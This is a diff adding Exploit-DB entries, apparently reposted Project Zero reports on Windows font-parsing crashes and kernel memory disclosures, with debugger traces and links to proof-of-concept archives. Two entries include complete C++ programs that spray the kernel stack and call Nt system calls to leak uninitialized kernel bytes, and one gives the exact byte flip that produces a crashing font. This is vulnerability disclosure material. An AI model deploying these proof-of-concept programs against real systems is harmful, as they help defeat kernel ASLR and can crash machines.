00000001 USP10!ScriptStringAnalyse+0x198 +0e 0024f218 760a18c1 3c0102ac 0024f69e 00000001 LPK!LpkStringAnalyse+0xe5 +0f 0024f314 760a17b4 3c0102ac 00000000 00000000 LPK!LpkCharsetDraw+0x332 +10 0024f348 77df56a9 3c0102ac 00000000 00000000 LPK!LpkDrawTextEx+0x40 +11 0024f388 77df5a64 3c0102ac 00000048 00000000 USER32!DT_DrawStr+0x13c +12 0024f3d4 77df580f 3c0102ac 0024f69e 0024f6a0 USER32!DT_GetLineBreak+0x78 +13 0024f480 77df5882 3c0102ac 00000000 00000009 USER32!DrawTextExWorker+0x250 +14 0024f4a4 77df5b68 3c0102ac 0024f69c ffffffff USER32!DrawTextExW+0x1e +[...] + +0:000> !heap -p -a eax + address 03670ffe found in + _DPH_HEAP_ROOT @ 3651000 + in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) + 3651d98: 3670c40 3c0 - 3670000 2000 + 73388e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 + 77d26206 ntdll!RtlDebugAllocateHeap+0x00000030 + 77cea127 ntdll!RtlpAllocateHeap+0x000000c4 + 77cb5950 ntdll!RtlAllocateHeap+0x0000023a + 72e0ae6a vrfcore!VfCoreRtlAllocateHeap+0x0000002a + 774c6724 USP10!UspAllocCache+0x00000054 + 774bad00 USP10!GetOtlTables+0x000000d0 + 774d777f USP10!CheckUpdateFontDescriptor+0x0000002f + 774bd8e2 USP10!LoadFont+0x00000542 + 774b9317 USP10!FindOrCreateFaceCache+0x000000e7 + 774b9630 USP10!FindOrCreateSizeCacheWithoutRealizationID+0x000000f0 + 774b99bb USP10!FindOrCreateSizeCacheUsingRealizationID+0x000000bb + 774ba528 USP10!UpdateCache+0x00000038 + 774ba692 USP10!ScriptCheckCache+0x00000062 + 774b7918 USP10!ScriptStringAnalyse+0x00000198 + 760a1736 LPK!LpkStringAnalyse+0x000000e5 + 760a18c1 LPK!LpkCharsetDraw+0x00000332 + 760a17b4 LPK!LpkDrawTextEx+0x00000040 + 77df56a9 USER32!DT_DrawStr+0x0000013c + 77df5a64 USER32!DT_GetLineBreak+0x00000078 + 77df580f USER32!DrawTextExWorker+0x00000250 + 77df5882 USER32!DrawTextExW+0x0000001e + 77df5b68 USER32!DrawTextW+0x0000004d +[...] +--- + +The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes. + +Attached are 3 proof of concept malformed font files which trigger the crash. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42239.zip diff --git a/platforms/windows/dos/42240.txt b/platforms/windows/dos/42240.txt new file mode 100755 index 000000000..7d91563e7 --- /dev/null +++ b/platforms/windows/dos/42240.txt @@ -0,0 +1,47 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1204 + +We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!otlValueRecord::adjustPos function, while trying to display text using a corrupted TTF font file: + +--- +(470.4d4): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=00000000 ebx=03546538 ecx=0017e9c4 edx=0353961e esi=0017eda4 edi=0353961c +eip=77509f2e esp=0017e96c ebp=0017e97c iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 +USP10!otlValueRecord::adjustPos+0x7e: +77509f2e 668b17 mov dx,word ptr [edi] ds:0023:0353961c=???? +0:000> kb + # ChildEBP RetAddr Args to Child +00 0017e97c 775071b1 0017eda4 03546538 035464ac USP10!otlValueRecord::adjustPos+0x7e +01 0017ea04 7750168c 0017edbc 00000005 0017ecbc USP10!otlPairPosLookup::apply+0x1a1 +02 0017ea78 775039f1 00000002 0017edbc 0017edb0 USP10!ApplyLookup+0x40c +03 0017ec7c 774ff1d1 534f5047 0017edf4 0017edbc USP10!ApplyFeatures+0x481 +04 0017ecc8 774fb28b 00000000 00000000 0017edf4 USP10!RePositionOtlGlyphs+0x1c1 +05 0017ecfc 774f7df3 0017ed94 0017ede0 0017edf4 USP10!ShapingLibraryInternal::RePositionOtlGlyphsWithLanguageFallback+0x2b +06 0017ef68 774e5bee 0017f0b8 0017f0c0 0017f0a4 USP10!GenericEngineGetGlyphPositions+0x8a3 +07 0017f03c 774e2d8a 0017f0b8 0017f0c0 0017f0a4 USP10!ShapingGetGlyphPositions+0x40e +08 0017f134 774b5e45 af0106d0 03546124 035463dc USP10!ShlPlace+0x20a +09 0017f178 774c193d af0106d0 03546124 035463dc USP10!ScriptPlace+0x165 +0a 0017f1d4 774c2bd4 00000000 00000000 0017f254 USP10!RenderItemNoFallback+0x2ed +0b 0017f200 774c2e62 00000000 00000000 0017f254 USP10!RenderItemWithFallback+0x104 +0c 0017f224 774c43f9 00000000 0017f254 03546124 USP10!RenderItem+0x22 +0d 0017f268 774b7a04 000004a0 00000400 af0106d0 USP10!ScriptStringAnalyzeGlyphs+0x1e9 +0e 0017f280 760a1736 af0106d0 03546040 0000000a USP10!ScriptStringAnalyse+0x284 +0f 0017f2cc 760a18c1 af0106d0 0017f750 0000000a LPK!LpkStringAnalyse+0xe5 +10 0017f3c8 760a17b4 af0106d0 00000000 00000000 LPK!LpkCharsetDraw+0x332 +11 0017f3fc 77df56a9 af0106d0 00000000 00000000 LPK!LpkDrawTextEx+0x40 +12 0017f43c 77df5a64 af0106d0 00000060 00000000 USER32!DT_DrawStr+0x13c +13 0017f488 77df580f af0106d0 0017f750 0017f764 USER32!DT_GetLineBreak+0x78 +14 0017f534 77df5882 af0106d0 00000000 0000000a USER32!DrawTextExWorker+0x250 +15 0017f558 77df5b68 af0106d0 0017f750 ffffffff USER32!DrawTextExW+0x1e +[...] +--- + +The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes. + +Attached are 3 proof of concept malformed font files which trigger the crash. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42240.zip diff --git a/platforms/windows/dos/42241.txt b/platforms/windows/dos/42241.txt new file mode 100755 index 000000000..fb79dd687 --- /dev/null +++ b/platforms/windows/dos/42241.txt @@ -0,0 +1,49 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1205 + +We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!otlReverseChainingLookup::apply function, while trying to display text using a corrupted TTF font file: + +--- +(678.6c8): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=0360c018 ebx=0000ffff ecx=035acffa edx=00000012 esi=0012efa8 edi=0000ffff +eip=7750786b esp=0012e9fc ebp=0012ea38 iopl=0 nv up ei pl nz na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 +USP10!otlReverseChainingLookup::apply+0xbb: +7750786b 0fb700 movzx eax,word ptr [eax] ds:0023:0360c018=???? +0:000> kb + # ChildEBP RetAddr Args to Child +00 0012ea38 77501533 0012ef8c 0012efa8 0012eebc USP10!otlReverseChainingLookup::apply+0xbb +01 0012eaa0 77508c6f 00000000 0012ef8c 00000022 USP10!ApplyLookup+0x2b3 +02 0012eb24 77508531 0012eb90 42555347 0012ef8c USP10!applyContextLookups+0x21f +03 0012ebf8 77501508 42555347 0012ef8c 015acc64 USP10!otlChainingLookup::apply+0x701 +04 0012ec78 775039f1 00000000 0012ef8c 00000040 USP10!ApplyLookup+0x288 +05 0012ee7c 774fefcf 42555347 0012efb8 0012ef8c USP10!ApplyFeatures+0x481 +06 0012eec8 774fb203 00000000 035aeffa 035aef70 USP10!SubstituteOtlGlyphs+0x1bf +07 0012eef4 774f6edc 0012ef24 0012ef9c 0012efb8 USP10!ShapingLibraryInternal::SubstituteOtlGlyphsWithLanguageFallback+0x23 +08 0012f160 774e55da 0012f26c 0012f298 0012f280 USP10!GenericEngineGetGlyphs+0xa1c +09 0012f220 774e273f 0012f26c 0012f298 0012f280 USP10!ShapingGetGlyphs+0x36a +0a 0012f308 774b5c6f a801011c 03586124 03586318 USP10!ShlShape+0x2ef +0b 0012f34c 774c174a a801011c 03586124 03586318 USP10!ScriptShape+0x15f +0c 0012f3ac 774c2bd4 00000000 00000000 0012f42c USP10!RenderItemNoFallback+0xfa +0d 0012f3d8 774c2e62 00000000 00000000 0012f42c USP10!RenderItemWithFallback+0x104 +0e 0012f3fc 774c43f9 00000000 0012f42c 03586124 USP10!RenderItem+0x22 +0f 0012f440 774b7a04 000004a0 00000400 a801011c USP10!ScriptStringAnalyzeGlyphs+0x1e9 +10 0012f458 760a1736 a801011c 03586040 0000000a USP10!ScriptStringAnalyse+0x284 +11 0012f4a4 760a18c1 a801011c 0012f928 0000000a LPK!LpkStringAnalyse+0xe5 +12 0012f5a0 760a17b4 a801011c 00000000 00000000 LPK!LpkCharsetDraw+0x332 +13 0012f5d4 77df56a9 a801011c 00000000 00000000 LPK!LpkDrawTextEx+0x40 +14 0012f614 77df5a64 a801011c 00000000 00000000 USER32!DT_DrawStr+0x13c +15 0012f660 77df580f a801011c 0012f928 0012f93c USER32!DT_GetLineBreak+0x78 +16 0012f70c 77df5882 a801011c 00000000 0000000a USER32!DrawTextExWorker+0x250 +17 0012f730 77df5b68 a801011c 0012f928 ffffffff USER32!DrawTextExW+0x1e +[...] +--- + +The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes. + +Attached are 2 proof of concept malformed font files which trigger the crash. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42241.zip diff --git a/platforms/windows/dos/42242.cpp b/platforms/windows/dos/42242.cpp new file mode 100755 index 000000000..eb98ba5a3 --- /dev/null +++ b/platforms/windows/dos/42242.cpp @@ -0,0 +1,126 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1207 + +We have discovered that the nt!NtQueryInformationResourceManager system call called with the 0 information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10. + +The specific name of the 0 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 24 bytes is accepted. At the end of that memory area, 2 uninitialized bytes from the kernel stack can be leaked to the client application. + +The attached proof-of-concept program (specific to Windows 10 1607 32-bit) demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=0 and the allowed output size. An example output is as follows: + +--- cut --- +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +00000010: 00 00 00 00 00 00 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ......AA........ +--- cut --- + +It is clearly visible here that 2 bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. +*/ + +#include +#include +#include +#include + +extern "C" +ULONG WINAPI NtMapUserPhysicalPages( + PVOID BaseAddress, + ULONG NumberOfPages, + PULONG PageFrameNumbers +); + +// For native 32-bit execution. +extern "C" +ULONG CDECL SystemCall32(DWORD ApiNumber, ...) { + __asm{mov eax, ApiNumber}; + __asm{lea edx, ApiNumber + 4}; + __asm{int 0x2e}; +} + +VOID PrintHex(PBYTE Data, ULONG dwBytes) { + for (ULONG i = 0; i < dwBytes; i += 16) { + printf("%.8x: ", i); + + for (ULONG j = 0; j < 16; j++) { + if (i + j < dwBytes) { + printf("%.2x ", Data[i + j]); + } + else { + printf("?? "); + } + } + + for (ULONG j = 0; j < 16; j++) { + if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { + printf("%c", Data[i + j]); + } + else { + printf("."); + } + } + + printf("\n"); + } +} + +VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { + for (ULONG i = 0; i < size; i++) { + ptr[i] = byte; + } +} + +VOID SprayKernelStack() { + // Buffer allocated in static program memory, hence doesn't touch the local stack. + static BYTE buffer[4096]; + + // Fill the buffer with 'A's and spray the kernel stack. + MyMemset(buffer, 'A', sizeof(buffer)); + NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer); + + // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. + MyMemset(buffer, 'B', sizeof(buffer)); +} + +int main() { + // Windows 10 1607 32-bit. + CONST ULONG __NR_NtQueryInformationResourceManager = 0x00b6; + + // Create a volatile transaction manager. + HANDLE hManager = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0); + if (hManager == INVALID_HANDLE_VALUE) { + printf("CreateTransactionManager failed, %d\n", GetLastError()); + return 1; + } + + // Create a resource manager. + GUID guid; + ZeroMemory(&guid, sizeof(guid)); + + HANDLE hResource = CreateResourceManager(NULL, &guid, RESOURCE_MANAGER_VOLATILE, hManager, NULL); + if (hResource == INVALID_HANDLE_VALUE) { + printf("CreateResourceManager failed, %d\n", GetLastError()); + CloseHandle(hManager); + return 1; + } + + // Spray the kernel stack to get visible results. + SprayKernelStack(); + + // Trigger the vulnerability and print out the output structure. + BYTE output[24] = { /* zero padding */ }; + DWORD ReturnLength; + NTSTATUS st = SystemCall32(__NR_NtQueryInformationResourceManager, hResource, 0, output, sizeof(output), &ReturnLength); + + if (!NT_SUCCESS(st)) { + printf("NtQueryInformationResourceManager failed, %x\n", st); + CloseHandle(hManager); + CloseHandle(hResource); + return 1; + } + + PrintHex(output, ReturnLength); + + // Free resources. + CloseHandle(hManager); + CloseHandle(hResource); + + return 0; +} diff --git a/platforms/windows/dos/42243.txt b/platforms/windows/dos/42243.txt new file mode 100755 index 000000000..d3c2901d6 --- /dev/null +++ b/platforms/windows/dos/42243.txt @@ -0,0 +1,85 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1213 + +We have encountered a Windows kernel crash in the ATMFD.DLL OpenType driver while processing a corrupted OTF font file, see below: + +--- +DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6) +N bytes of memory was allocated and more than N bytes are being referenced. +This cannot be protected by try-except. +When possible, the guilty driver's name (Unicode string) is printed on +the bugcheck screen and saved in KiBugCheckDriver. +Arguments: +Arg1: fb69b01e, memory referenced +Arg2: 00000000, value 0 = read operation, 1 = write operation +Arg3: 8f635862, if non-zero, the address which referenced memory. +Arg4: 00000000, (reserved) + +Debugging Details: +------------------ + +[...] + +FAULTING_IP: +ATMFD+35862 +8f635862 803802 cmp byte ptr [eax],2 + +MM_INTERNAL_CODE: 0 + +CPU_COUNT: 4 + +CPU_MHZ: da3 + +CPU_VENDOR: GenuineIntel + +CPU_FAMILY: 6 + +CPU_MODEL: 3e + +CPU_STEPPING: 4 + +CPU_MICROCODE: 6,3e,4,0 (F,M,S,R) SIG: 19'00000000 (cache) 19'00000000 (init) + +DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT + +BUGCHECK_STR: 0xD6 + +PROCESS_NAME: csrss.exe + +CURRENT_IRQL: 2 + +ANALYSIS_SESSION_HOST: WIN7-32-VM + +ANALYSIS_SESSION_TIME: 03-21-2017 10:49:20.0375 + +ANALYSIS_VERSION: 10.0.10586.567 x86fre + +LAST_CONTROL_TRANSFER: from 8f636088 to 8f635862 + +STACK_TEXT: +WARNING: Stack unwind information not available. Following frames may be wrong. +9625f538 8f636088 9625f790 05f70000 9625f790 ATMFD+0x35862 +9625f630 8f6355b1 9625f790 05f70000 9625f64c ATMFD+0x36088 +9625f734 8f635711 9625f790 05f70000 9625f868 ATMFD+0x355b1 +9625f768 8f6051b0 00000000 9625f790 05f70000 ATMFD+0x35711 +9625f808 8f607279 00000004 00000001 00000002 ATMFD+0x51b0 +9625f888 8f603d14 00000000 00000000 94bb3200 ATMFD+0x7279 +9625f96c 8f6e7b8d 00000004 fbad2fc0 fbadaff8 ATMFD+0x3d14 +9625f9b4 8f6e7adf 00000001 fbad2fc0 fbadaff8 win32k!PDEVOBJ::LoadFontFile+0x3c +9625f9f4 8f6e74fc ffa6a130 0000002e fbad2fc0 win32k!vLoadFontFileView+0x291 +9625fa80 8f6d6403 9625fb58 0000002e 00000001 win32k!PUBLIC_PFTOBJ::bLoadFonts+0x209 +9625facc 8f6d73d8 9625fb58 0000002e 00000001 win32k!GreAddFontResourceWInternal+0xfb +9625fc14 8164ddb6 000d9b78 0000002e 00000001 win32k!NtGdiAddFontResourceW+0x142 +9625fc14 77ad6c74 000d9b78 0000002e 00000001 nt!KiSystemServicePostCall +--- + +The bugcheck is caused by an attempt to read memory from an unmapped address. The specific expression being dereferenced by ATMFD.DLL is "base address of the Name INDEX data + NAME.offset[x] - 1", however no bounds checking is performed over the value of NAME.offset[x] before using it for pointer arithmetic. To our current knowledge, this condition can only lead to an out-of-bounds read, thus limiting the impact of the bug to remote denial of service, or potentially local kernel memory disclosure. However, we have not fully confirmed that the severity of the bug is not in fact more significant due to some further ATMFD logic we are not aware of. + +Interestingly, the crash is almost identical to the one reported in Issue #386 (MSRC-30296) nearly two years ago, which was supposedly fixed as CVE-2015-2461 in the MS15-080 bulletin. The fact that the same bugcheck still reproduces can potentially mean that the patch was insufficient. + +Only a single bitflip applied to a valid font file is sufficient to create an offending testcase (excluding SFNT table checksums). In our case, the byte at offset 0x375 in the original sample must be changed from 0x01 to 0x41. This corresponds to offset 0x71 of the "CFF " table. The PoC font can be found attached to this tracker entry. + +The issue reproduces on Windows 7 (other platforms untested). It is easiest to reproduce with Special Pools enabled for ATMFD.DLL, leading to an immediate crash when the bug is triggered. The bugcheck occurs upon opening the font in any default utility such as the Windows Font Viewer -- no special tools are required. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42243.zip diff --git a/platforms/windows/dos/42244.cpp b/platforms/windows/dos/42244.cpp new file mode 100755 index 000000000..dd0be6f57 --- /dev/null +++ b/platforms/windows/dos/42244.cpp @@ -0,0 +1,144 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1214&desc=2 + +We have discovered that the nt!NtQueryInformationWorkerFactory system call called with the WorkerFactoryBasicInformation (7) information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10. + +The specific layout of the output structure corresponding to the class is unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 96 bytes is accepted. Within that memory area, 5 uninitialized bytes from the kernel stack can be leaked to the client application. + +The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=WorkerFactoryBasicInformation and the allowed output size. An example output is as follows: + +--- cut --- +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +00000010: 00 44 5f 9a fe ff ff ff 00 00 00 01 00 00 00 41 .D_............A +00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +00000030: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA +00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +00000050: 14 0a 00 00 00 00 01 00 00 10 00 00 00 00 00 00 ................ +--- cut --- + +It is clearly visible here that among all data copied from ring-0 to ring-3, 1 byte at offset 0x1f and 4 bytes at offset 0x3c remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. +*/ + +#include +#include +#include + +extern "C" { + +ULONG WINAPI NtMapUserPhysicalPages( + PVOID BaseAddress, + ULONG NumberOfPages, + PULONG PageFrameNumbers +); + +NTSTATUS WINAPI +NtCreateWorkerFactory( + _Out_ PHANDLE WorkerFactoryHandleReturn, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE CompletionPortHandle, + _In_ HANDLE WorkerProcessHandle, + _In_ PVOID StartRoutine, + _In_opt_ PVOID StartParameter, + _In_opt_ ULONG MaxThreadCount, + _In_opt_ SIZE_T StackReserve, + _In_opt_ SIZE_T StackCommit +); + +NTSTATUS WINAPI +NtQueryInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ ULONG WorkerFactoryInformationClass, + _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength, + _Out_opt_ PULONG ReturnLength +); + +} // extern "C" + +VOID PrintHex(PBYTE Data, ULONG dwBytes) { + for (ULONG i = 0; i < dwBytes; i += 16) { + printf("%.8x: ", i); + + for (ULONG j = 0; j < 16; j++) { + if (i + j < dwBytes) { + printf("%.2x ", Data[i + j]); + } + else { + printf("?? "); + } + } + + for (ULONG j = 0; j < 16; j++) { + if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { + printf("%c", Data[i + j]); + } + else { + printf("."); + } + } + + printf("\n"); + } +} + +VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { + for (ULONG i = 0; i < size; i++) { + ptr[i] = byte; + } +} + +VOID SprayKernelStack() { + // Buffer allocated in static program memory, hence doesn't touch the local stack. + static BYTE buffer[4096]; + + // Fill the buffer with 'A's and spray the kernel stack. + MyMemset(buffer, 'A', sizeof(buffer)); + NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer); + + // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. + MyMemset(buffer, 'B', sizeof(buffer)); +} + +int main() { + // Create a completion port. + HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0); + if (hCompletionPort == NULL) { + printf("CreateIoCompletionPort failed, %d\n", GetLastError()); + return 1; + } + + // Create the worker factory object to query. + HANDLE hWorkerFactory = NULL; + NTSTATUS st = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, GetCurrentProcess(), NULL, NULL, 0, 0, 0); + if (!NT_SUCCESS(st)) { + printf("NtCreateWorkerFactory failed, %x\n", st); + CloseHandle(hCompletionPort); + return 1; + } + + // Spray the kernel stack to get visible results. + SprayKernelStack(); + + // Trigger the vulnerability and print out the output structure. + BYTE output[96] = { /* zero padding */ }; + DWORD ReturnLength; + +#define WorkerFactoryBasicInformation 7 + st = NtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, output, sizeof(output), &ReturnLength); + + if (!NT_SUCCESS(st)) { + printf("NtQueryInformationWorkerFactory failed, %x\n", st); + CloseHandle(hWorkerFactory); + CloseHandle(hCompletionPort); + return 1; + } + + PrintHex(output, ReturnLength); + + // Free resources. + CloseHandle(hWorkerFactory); + CloseHandle(hCompletionPort); + + return 0; +} diff --git a/platforms/windows/dos/42246.html b/platforms/windows/dos/42246.html new file mode 100755 index 000000000..b32493d7e --- /dev/null +++ b/platforms/windows/dos/42246.html @@ -0,0 +1,111 @@ + + + + + + + + \ No newline at end of file